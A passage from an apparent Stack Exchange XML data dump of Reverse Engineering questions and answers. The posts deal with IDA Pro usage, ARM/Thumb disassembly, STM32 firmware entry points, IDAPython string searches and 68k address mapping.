&lt;li&gt;export name&lt;/li&gt;&#xA;  &lt;li&gt;parameter list (including types)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience with using &lt;code&gt;.til&lt;/code&gt; files although the version does not exactly match? In the best case, I guess, the &lt;code&gt;.til&lt;/code&gt; file should work fine. But what could happen in the worst case, i.e. if any of the above mentioned three things change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any chance I can detect when the application of a slightly wrong &lt;code&gt;.til&lt;/code&gt; file causes problems?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-07-07T07:06:00.087" Title="IDA Pro .til files backward compatibility" Tags="|ida|c|calling-conventions|interoperability|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13002" PostTypeId="2" ParentId="12996" CreationDate="2016-07-06T20:13:08.277" Score="2" Body="&lt;p&gt;It was as Jason Geffner suspected. My function prototype was correct but the pOnRecv typedef didn't have __stdcall in it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't figure it out until I've looked at assembly of the function and seen it did add to esp. I'm leaving it here, incase someone else happens so have a similar issue.&lt;/p&gt;&#xA;" OwnerUserId="13325" LastActivityDate="2016-07-06T20:13:08.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13003" PostTypeId="2" ParentId="3495" CreationDate="2016-07-07T06:48:38.657" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://hexinator.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hexinator&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;has a similar feature to binary templates of 010 Editor that is called a &quot;grammar&quot;. It allows to insert numbers, strings, structs and binary blobs. If that's not enough, it has scripting capabilities in Python and Lua&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the values can then be edited nicely (e.g. in decimal instead of hex). The hex area can be highlighted.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Drawbacks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at the time of writing it seems to have issues with more than one open grammar + one open file. When opening a second file for the same grammer, it crashed. Save early and save often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of a partially analyzed file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OaHcn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OaHcn.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3355" LastActivityDate="2016-07-07T06:48:38.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13004" PostTypeId="1" CreationDate="2016-07-07T07:10:44.953" Score="0" ViewCount="336" Body="&lt;p&gt;Hi i want to reverse engineer assembler itself. How the assembler like MASM AND NASM assemblers maintains the opcode, symbol table, relocation bits allocation linking loading  and how it takes input source code and converts to object file. How to reverse engineer the assembler using disassembler tool.&lt;/p&gt;&#xA;" OwnerUserId="16644" LastActivityDate="2016-07-07T08:00:38.877" Title="Is there a possibility to reverse engineer the Masm and Nasm like assembler" Tags="|disassembly|" AnswerCount="1" CommentCount="0" ClosedDate="2016-07-08T19:56:12.670" ContentLicense="CC BY-SA 3.0" />
  <row Id="13005" PostTypeId="2" ParentId="13004" CreationDate="2016-07-07T08:00:38.877" Score="2" Body="&lt;p&gt;There's no need to reverse engineer NASM, it's &lt;a href=&quot;http://repo.or.cz/w/nasm.git&quot; rel=&quot;nofollow&quot;&gt;open-source&lt;/a&gt;. Other open-source assemblers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;FASM: &lt;a href=&quot;http://flatassembler.net/download.php&quot; rel=&quot;nofollow&quot;&gt;http://flatassembler.net/download.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;YASM: &lt;a href=&quot;http://yasm.tortall.net/Download.html&quot; rel=&quot;nofollow&quot;&gt;http://yasm.tortall.net/Download.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;JWASM (MASM clone): &lt;a href=&quot;https://github.com/JWasm/JWasm&quot; rel=&quot;nofollow&quot;&gt;https://github.com/JWasm/JWasm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;GAS (GNU Asssembler): &lt;a href=&quot;https://www.gnu.org/software/binutils/&quot; rel=&quot;nofollow&quot;&gt;https://www.gnu.org/software/binutils/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-07-07T08:00:38.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13011" PostTypeId="1" AcceptedAnswerId="13012" CreationDate="2016-07-08T07:31:45.167" Score="1" ViewCount="1249" Body="&lt;p&gt;In the following code, I injected my own instructions to modify third param of &lt;code&gt;sprintf()&lt;/code&gt; function, but the process stopped at EXC_BAD_INSTRUCTION. Can anybody tell me what happened in my code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x144502 &amp;lt;+6&amp;gt;:  movw   r0, #0xc70       ; injected code start here&#xA;0x144506 &amp;lt;+10&amp;gt;: movt   r0, #0x8bb3&#xA;0x14450a &amp;lt;+14&amp;gt;: movw   r3, #0x576&#xA;0x14450e &amp;lt;+18&amp;gt;: ldr    r1, [r7]&#xA;0x144510 &amp;lt;+20&amp;gt;: movs   r5, #0x1a&#xA;0x144512 &amp;lt;+22&amp;gt;: add    r5, pc           ; next instruction will jump over 9 instructions&#xA;0x144514 &amp;lt;+24&amp;gt;: bx     r5               ; pc = 0x00144514&#xA;                                        ; r5 = 0x00144530&#xA;0x144516 &amp;lt;+26&amp;gt;: ldr    r1, [r0]&#xA;0x144518 &amp;lt;+28&amp;gt;: ldr    r0, [r2]&#xA;0x14451a &amp;lt;+30&amp;gt;: blx    0x29111c&#xA;0x14451e &amp;lt;+34&amp;gt;: movw   r1, #0x6442&#xA;0x144522 &amp;lt;+38&amp;gt;: movt   r1, #0x18&#xA;0x144526 &amp;lt;+42&amp;gt;: add    r1, pc&#xA;0x144528 &amp;lt;+44&amp;gt;: ldr    r1, [r1]&#xA;0x14452a &amp;lt;+46&amp;gt;: blx    0x29111c&#xA;0x14452e &amp;lt;+50&amp;gt;: mov    r3, r1&#xA;0x144530 &amp;lt;+52&amp;gt;: movw   r1, #0x66a4      ; bx r5 landed here. But r1 has not been loaded&#xA;0x144534 &amp;lt;+56&amp;gt;: movt   r1, #0x15        ; with new value. Why?&#xA;0x144538 &amp;lt;+60&amp;gt;: mov    r2, r0&#xA;0x14453a &amp;lt;+62&amp;gt;: add    r1, pc           ; this instruction never get called&#xA;0x14453c &amp;lt;+64&amp;gt;: mov    r0, r4           ; EXC_BAD_INSTRUCTION raised here&#xA;0x14453e &amp;lt;+66&amp;gt;: blx    __sprintf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16659" LastActivityDate="2016-07-08T08:56:20.003" Title="Injected instructions hit `bad instruction` exception" Tags="|assembly|arm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13012" PostTypeId="2" ParentId="13011" CreationDate="2016-07-08T08:56:20.003" Score="2" Body="&lt;p&gt;Looks like you forgot to set bit 0 of the destination address so the CPU switched to ARM mode and tried to execute Thumb instructions as ARM.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-07-08T08:56:20.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13013" PostTypeId="1" AcceptedAnswerId="13014" CreationDate="2016-07-08T13:26:13.007" Score="2" ViewCount="3333" Body="&lt;p&gt;I have the STM32L151's firmware that I extracted via JTAG, but I cannot find a start point in IDA. I have tried two methods:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I start IDA, drag the binary into the workspace, select ARM Little-endian for the processor type, click ok, the disassembly memory organization window appears, entered in relevant information found &lt;a href=&quot;http://www.st.com/content/ccc/resource/technical/document/datasheet/66/71/4b/23/94/c3/42/c8/CD00277537.pdf/files/CD00277537.pdf/jcr:content/translations/en.CD00277537.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; on page 48, click ok, windows pops up saying &quot;IDA can not identify the entry point...&quot;, in the workspace I see &quot;RAM:08000000        DCB [some hex number]&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Converted the binary to elf using my arm toolchain's objcopy, used &quot;readelf -h [my binary file]&quot; to find the entry point, got &lt;a href=&quot;http://pastebin.com/55NPVDhh&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; output where the entry point is 0xff810000, dragged the elf into IDA's workspace, selected ARM Little-endian processor under processor type, clicked ok, and the workspace shows lines that look like &quot;.data:0000002C        [several hex values separated by commas]&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to jump to the entry point address (0xff810000 from readelf) I get an JumpAsk fail. How do I find my start point so I can start reading the disassembled ARM assembly code?&lt;/p&gt;&#xA;" OwnerUserId="16654" LastActivityDate="2020-12-12T19:24:06.187" Title="Reverse Engineer STM32L151's Firmware" Tags="|ida|firmware|entry-point|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13014" PostTypeId="2" ParentId="13013" CreationDate="2016-07-08T13:37:34.947" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;http://www.st.com/content/ccc/resource/technical/document/datasheet/66/71/4b/23/94/c3/42/c8/CD00277537.pdf/files/CD00277537.pdf/jcr:content/translations/en.CD00277537.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;the PDF to which you linked&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;3.3.4 Boot modes&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;At startup, boot pins are used to select one of three boot options:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Boot from Flash memory&lt;/li&gt;&#xA;  &lt;li&gt;Boot from System Memory&lt;/li&gt;&#xA;  &lt;li&gt;Boot from embedded RAM&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;The boot loader is located in System Memory. It&#xA;  is used to reprogram the Flash memory by using USART1 or USART2. See&#xA;  STM32™ microcontroller system memory boot mode AN2606 for details.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If we &lt;a href=&quot;https://www.google.com/search?q=AN2606&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google for AN2606&lt;/a&gt;, we find the documentation for the &lt;a href=&quot;http://www.st.com/content/ccc/resource/technical/document/application_note/b9/9b/16/3a/12/1e/40/0c/CD00167594.pdf/files/CD00167594.pdf/jcr:content/translations/en.CD00167594.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;STM32 microcontroller system memory boot mode&lt;/a&gt;, which suggests in the table below that the bootloader begins at memory location &lt;code&gt;0x1FF00FFE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, the bootloader configuration table for each chip specifies the address of the bootloader firmware. For example, for STM32L01xxx/02xxx chips, page 174 specifies that the the bootloader's firmware is a 4 KB chunk that begins at address &lt;code&gt;0x1FF00000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Envcu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Envcu.png&quot; alt=&quot;Embedded bootloaders&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2016-07-08T13:44:22.187" LastActivityDate="2016-07-08T13:44:22.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13015" PostTypeId="1" CreationDate="2016-07-08T14:05:43.483" Score="2" ViewCount="694" Body="&lt;p&gt;I am looking at the disassembly for iOS applications and need to figure out a way to analyze the cryptography used. I have tried using different plugins for IDA such as FindCrypt, IDAsignsrch, and IDAScope but none of them accurately analyze the cryptography. More specifically for iOS, developers use cryptography by using Apple's Common Crypto library. I have found calls made to methods in the library but what I really need are the function arguments for these methods that specify which crypt alg is used, length of the key, initialization vectors, etc. Backtracking to get the function arguments seems too complicated so is there any other way I can go about getting this information? Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="16666" LastActivityDate="2016-10-19T21:46:03.287" Title="Find cryptography used by iOS applications by analyzing ARM assembly in IDA?" Tags="|ida|idapython|arm|ida-plugin|ios|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13020" PostTypeId="1" AcceptedAnswerId="13022" CreationDate="2016-07-11T16:59:05.480" Score="2" ViewCount="1625" Body="&lt;p&gt;I'm trying to see if the disassembly has two strings possibly within it. My string search algorithm starts from the first instruction MinEA() to the last MaxEA() and uses idc.FindText(.....,&quot;Bob&quot;) to see if the string &quot;Bob&quot; for example is located. However, I'm trying to see if either &quot;Bob&quot; or &quot;Alice&quot; are in the disassembly. I could just loop from the beginning to the end twice using idc.FindText but that takes too much time. Is there a way I can loop through the disassembly only once and check if either of the strings are used? Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="16666" LastActivityDate="2016-07-12T01:23:58.170" Title="Check for multiple strings in IDAPython" Tags="|ida|idapython|idapro-sdk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13022" PostTypeId="2" ParentId="13020" CreationDate="2016-07-12T01:23:58.170" Score="3" Body="&lt;p&gt;You could use regular expression:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idc.FindText(ea, idc.SEARCH_REGEX | idc.SEARCH_DOWN, y, x, &quot;Bob|Alice&quot;)&#xA;#                ^^^^^^^^^^^^^^^^                              ^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA Pro uses POSIX ERE syntax as described in &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/578.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/578.shtml&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16021" LastActivityDate="2016-07-12T01:23:58.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13023" PostTypeId="1" CreationDate="2016-07-12T06:19:31.157" Score="4" ViewCount="953" Body="&lt;p&gt;How can I get the memory referenced in the first operand of the instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [ebp+__GetProcAddress], eax ; I want to get 0x0133FD48&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to do it while tracing over the code so the registers will be known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically need to get the same address that I get if I put the mouse over the first argument:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W6OIf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W6OIf.png&quot; alt=&quot;mouse over first move operand&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="16707" LastEditorUserId="245" LastEditDate="2018-07-26T10:50:11.200" LastActivityDate="2018-07-26T10:50:11.200" Title="IDA IDC Get memory reference in instruction" Tags="|ida|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13024" PostTypeId="1" CreationDate="2016-07-12T07:14:17.260" Score="2" ViewCount="2351" Body="&lt;p&gt;The header is self explanatory but to explain myself better.&#xA;I have an ELF binary - loadable kernel module, compiled with symbols.&#xA;I want to know how to locate the offset of the &lt;code&gt;module_init()&lt;/code&gt; function.&lt;br&gt;&#xA;Can I find this info using &lt;em&gt;&lt;code&gt;readelf&lt;/code&gt;&lt;/em&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="16708" LastEditorUserId="18852" LastEditDate="2019-12-12T08:06:49.133" LastActivityDate="2019-12-17T23:01:00.563" Title="How to locate module_init() offset from ELF header of Linux kernel module?" Tags="|disassembly|linux|elf|driver|entry-point|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13025" PostTypeId="1" AcceptedAnswerId="13027" CreationDate="2016-07-12T16:00:40.650" Score="3" ViewCount="1504" Body="&lt;p&gt;I have been sorting through disassembled code for a couple of days and I have a few questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This is my first reverse engineering side project and I apologize if these are rather newbie questions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I wrote a simple program that blinks an LED on a STM32F4 board (this is not the board I am rev eng), compiled the code, and looked at the hex file in IDA. When in hex view, I saw some clear text like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;..Q..&amp;lt;...8pG../s&#xA;ystem/src/stm32f&#xA;4-hal/stm32f4xx_&#xA;hal_cortex.c....&#xA;../system/src/st&#xA;m32f4-hal/stm32f&#xA;4xx_hal_gpio.c..&#xA;................&#xA;../system/src/st&#xA;m32f4-hal/stm32f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I look at my disassembled binary from the STM32L151 board in IDA's hex view, I do not seen any trace of readable characters. Does this mean the firmware was obfuscated (the programmed board sells for $60 so I wouldn't be surprised if it is)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) IDA cannot recognize an entry point, so I am sifting though the disassembled file looking for anything interesting (like functions). I have programmed in assembly before, but &lt;a href=&quot;http://pastebin.com/Mee1r5RP&quot; rel=&quot;nofollow&quot;&gt;the first line of the firmware&lt;/a&gt; does not make any sense to me. It consists of consecutive STR operations... what is it storing? It pretty much did the same operation 50 times!? Additionally, it has the EQ condition but I don't see what it's comparing. The starting code that I linked is not unique to the board, the STM32F4 hex file started in a similar fashion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) When I am looking over the disassembled firmware in &quot;IDA View-A&quot;, I am hitting the down arrow follow by the &quot;C&quot; key to see the assembly code but some of the code stays as a DCB operation. Why is that? Example &lt;a href=&quot;http://pastebin.com/7uM9P4WL&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Are there any guides dedicated to finding an entry point? I am getting overwhelmed by the sheer amount of assembly code. &lt;/p&gt;&#xA;" OwnerUserId="16654" LastActivityDate="2016-07-12T18:32:32.457" Title="Understanding STM32L151's disassembled firmware" Tags="|arm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13026" PostTypeId="1" CreationDate="2016-07-11T08:40:59.747" Score="1" ViewCount="387" Body="&lt;p&gt;I've been given the task of writing a functional clone for an executable since we don't have the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the .NET tools at my disposable recognise it and loading the thing into a text editor, I see the telltale:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MZ...This program cannot be run in DOS mode.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further down I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Microsoft Visual C++ Runtime Library&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And further on still:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MultiByteToWideChar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Leading me to conclude it is a C/C++ executable. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without wasting days trying to find a disassembler, is there anything that could help me glean any further information from this type of executable? I already know about &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/strings.aspx&quot; rel=&quot;nofollow&quot;&gt;Sysinternals Strings&lt;/a&gt; application. I've also found something that can dump the assembly code (for all the good this does me!).&lt;/p&gt;&#xA;" OwnerDisplayName="Robbie Dee" LastActivityDate="2016-07-12T18:06:30.097" Title="Extracting information from a windows executable" Tags="|c++|c|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13027" PostTypeId="2" ParentId="13025" CreationDate="2016-07-12T18:10:14.330" Score="2" Body="&lt;p&gt;You have two main issues here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) the start of the firmware is data (&lt;a href=&quot;https://embeddedfreak.wordpress.com/2009/08/07/cortex-m3-interrupt-vector-table/&quot; rel=&quot;nofollow&quot;&gt;Interrupt Vector Table&lt;/a&gt;), not code&lt;br&gt;&#xA;2) Cortex-M uses Thumb mode instructions and not classical ARM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally when you load an ARM binary file into IDA, you get this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;---------------------------&#xA;Information&#xA;---------------------------&#xA; ARM AND THUMB MODE SWITCH INSTRUCTIONS&#xA;&#xA; This processor has two instruction encodings: ARM and THUMB.&#xA; IDA allows to specify the encoding mode for every single instruction.&#xA; For this IDA uses a virtual register T. If its value is zero, then&#xA; the ARM mode is used, otherwise the THUMB mode is used.&#xA; You can change the value of the register T using&#xA; the 'change segment register value' command&#xA; (the canonical hotkey is Alt-G)&#xA;&#xA;---------------------------&#xA;OK   &#xA;---------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your case the whole file is Thumb, so you can just set T to 1 at the top. Then you need to follow the second dword (the reset vector) to find the initial entrypoint. Ideally you should get something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:00000000   DCD 0x200002F8&#xA;ROM:00000004   DCD _reset+1&#xA;&#xA; ROM:00001480 _reset                      &#xA;ROM:00001480    BIC.W   R1, SP, #7&#xA;ROM:00001484    MOV     R0, SP&#xA;ROM:00001486    MOV     SP, R1&#xA;ROM:00001488    PUSH    {R0,LR}&#xA;ROM:0000148A    MOVS    R2, #0&#xA;ROM:0000148C    LDR     R1, =0x20000000&#xA;ROM:0000148E    LDR.W   R12, =0x20000000&#xA;ROM:00001492    LDR     R0, =0x2440&#xA;ROM:00001494    B       loc_149C&#xA;ROM:00001496 ----------------------------&#xA;ROM:00001496    LDR     R3, [R0,R2]&#xA;ROM:00001498    STR     R3, [R1,R2]&#xA;ROM:0000149A    ADDS    R2, #4&#xA;ROM:0000149C&#xA;ROM:0000149C    ADD.W   R3, R1, R2&#xA;ROM:000014A0    CMP     R3, R12&#xA;ROM:000014A2    BCC     loc_1496&#xA;ROM:000014A4    LDR     R3, =0x20000000&#xA;ROM:000014A6    LDR     R1, =0x200001F8&#xA;ROM:000014A8    MOVS    R2, #0&#xA;ROM:000014AA    B       loc_14B0&#xA;ROM:000014AC ----------------------------&#xA;ROM:000014AC&#xA;ROM:000014AC    STR.W   R2, [R3],#4&#xA;ROM:000014B0&#xA;ROM:000014B0    CMP     R3, R1&#xA;ROM:000014B2    BCC     loc_14AC&#xA;ROM:000014B4    BL      sub_244&#xA;ROM:000014B4 ; End of function _reset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2016-07-12T18:32:32.457" LastActivityDate="2016-07-12T18:32:32.457" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13028" PostTypeId="1" CreationDate="2016-07-12T18:30:59.103" Score="0" ViewCount="3795" Body="&lt;p&gt;I have a struct in IDA Pro that I want to export to a c-style struct. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 ICreateErrorInfo struc ; (sizeof=0x4, align=0x4, standard type)&#xA;00000000                                         ; XREF: sub_73C9D0r&#xA;00000000 lpVtbl          dd ?                    ; offset&#xA;00000004 ICreateErrorInfo ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to export the above to something similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct ICreateErrorInfo {&#xA;    int lpVtbl;&#xA;} ICreateErrorInfo;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am also using HexRaysCodeXplorer if that helps.&lt;/p&gt;&#xA;" OwnerUserId="16714" LastActivityDate="2016-09-10T19:38:16.397" Title="How can I export a struct in IDA Pro to a c-style struct?" Tags="|ida|c|ida-plugin|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13029" PostTypeId="2" ParentId="13028" CreationDate="2016-07-12T18:41:49.203" Score="2" Body="&lt;p&gt;I've found the answer &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2409&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to export a structure by going in &lt;strong&gt;Local Types&lt;/strong&gt; (&lt;kbd&gt;Shift+F1&lt;/kbd&gt;). Then select the structure you want to export and in the contextual menu choose either &lt;strong&gt;Edit&lt;/strong&gt; or &lt;strong&gt;Export to header file&lt;/strong&gt;. It is possible to export multiple structures by holding Shift when selecting them.&lt;/p&gt;&#xA;" OwnerUserId="16715" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-07-12T18:41:49.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13030" PostTypeId="1" CreationDate="2016-07-12T21:38:49.823" Score="6" ViewCount="765" Body="&lt;p&gt;UPDATE 3: I learned that one way to do it is to simply make a new processor definition, it should be fairly straight forward to port already existing 68k disassemblers to the IDA SDK. Still too cumbersome in my case because I only have a single 68k project that needs analyzing. This solution will work with older IDA releases in case the free updates period has expired and one is too poor to refresh one's IDA license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2: Igor Skochinsky points out that there's a bugfix. I still want to know what is the best work-around for older IDA (6.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I found that later version of IDA such as 6.8 (which I don't have access to) has a &quot;mapaddr&quot; command in the machine .cfg files. Don't know what mapaddr does exactly, can it multi-map addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this question: &lt;a href=&quot;https://stackoverflow.com/questions/30987128/m68k-ida-pro-24-bit-addressing/38314561&quot;&gt;https://stackoverflow.com/questions/30987128/m68k-ida-pro-24-bit-addressing/38314561&lt;/a&gt; the user had a similar problem to mine, that was never solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of 68000 systems have 64kb of RAM mapped in two 32kb segments, FF8000-FFFFFF and 0-7FFF, so you can use word addressing to reach the entire RAM faster, because branch offsets are 15 bits+sign. This was common on other processors as well back in the day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I split the code dump into two segments like that, however doesn't really work, because the Motorola 68k is a bit schizophrenic when it comes to addressing. Is it 16, 24 or 32 bit? It is really all at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA doesn't take this into account, meaning it won't understand instructions like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movea.w #$8234, a0&#xA;move.l (a0.w), d0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should move the dword at FFFF8234 to d0. I'd like IDA to understand that $8234 is the same as $ffff8234 and use the symbols etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done is to find every movea and lea instruction and if they are loading wrapped around addresses, I change them to a manual operand referencing the FFxxxx space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, while that let's me inspect the references (by clicking them) IDA doesn't really understand how the addressing works, meaning I get little other help from the environment, and subroutines and calls are not detected correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record I am not an advanced IDA user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: for you non-68k guys, movea and lea are just move instructions that can put stuff in address registers, (almost) all addressing is with address registers a0-a7.&lt;/p&gt;&#xA;" OwnerUserId="16716" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2018-06-15T19:29:34.677" Title="How make old IDA understand wrap-around mapped 68k RAM?" Tags="|ida|address|motorola|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
